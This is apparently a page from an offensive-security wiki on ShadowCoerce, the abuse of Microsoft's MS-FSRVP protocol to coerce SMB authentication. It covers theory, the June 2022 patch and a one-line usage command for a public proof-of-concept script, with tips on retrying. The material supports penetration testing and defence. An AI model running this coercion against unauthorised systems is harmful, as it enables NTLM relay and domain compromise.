> For the complete documentation index, see [llms.txt](https://legacy.thehacker.recipes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://legacy.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/ms-fsrvp.md).

# MS-FSRVP abuse (ShadowCoerce)

## Theory

MS-FSRVP is Microsoft's File Server Remote VSS Protocol. It's used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares ([docs.microsoft.com](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)). That interface is available through the `\pipe\FssagentRpc` SMB named pipe.

In late 2021, [Lionel GILLES](https://twitter.com/topotam77) published [slides](https://twitter.com/topotam77/status/1475701014204461056) showcasing [PetitPotam](/a-d/movement/mitm-and-coerced-authentications/ms-efsr.md) and demonstrating the possibility of abusing the protocol to coerce authentications on the last two slides.

Similarly to other MS-RPC abuses, this works by using a specific method relying on remote UNC paths. In this case, at the time of writing, two methods were detected as vulnerable: `IsPathSupported` and `IsPathShadowCopied`.

**The coerced authentications are made over SMB**. Unlike other similar coercion methods (MS-RPRN printerbug, MS-EFSR petitpotam), I doubt MS-FSRVP abuse can be combined with [WebClient abuse](/a-d/movement/mitm-and-coerced-authentications/webclient.md) to elicit incoming authentications made over HTTP.

A requirement to the abuse is to have the "File Server VSS Agent Service" enabled on the target server.

![](/files/CgIJoaQdjqONI7AlCeVt)

{% hint style="info" %}
In June 2022, Microsoft patched [CVE-2022-30154](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30154) in [KB5014692](https://support.microsoft.com/en-us/topic/kb5015527-shadow-copy-operations-using-vss-on-remote-smb-shares-denied-access-after-installing-windows-update-dated-june-14-2022-6d460245-08b6-40f4-9ded-dd030b27850b), which also patched this coercion attack.
{% endhint %}

## Practice

The following Python proof-of-concept (<https://github.com/ShutdownRepo/ShadowCoerce>) implements the `IsPathSupported` and `IsPathShadowCopied` methods.

{% hint style="success" %}
**Nota bene**: for the proof of concept to work, using a proper security provider (`RPC_C_AUTHN_WINNT`) and authentication level (`RPC_C_AUTHN_LEVEL_PKT_PRIVACY`) can required. It is enabled by default in the script.
{% endhint %}

```bash
shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
```

![](/files/IxanjEfC58h1vULDsLR6)

{% hint style="info" %}
In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. In short, run the command again if it doesn't work the first time.
{% endhint %}

## Resources

Topotam's tweet: <https://twitter.com/topotam77/status/1475701014204461056>

Topotam's slides: <https://fr.slideshare.net/LionelTopotam/petit-potam-slidesrtfmossir>

{% file src="/files/G7ZBbrzTjmzXw39adrpE" %}

{% embed url="<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b>" %}

{% embed url="<https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc>" %}
Understand RPC better
{% endembed %}


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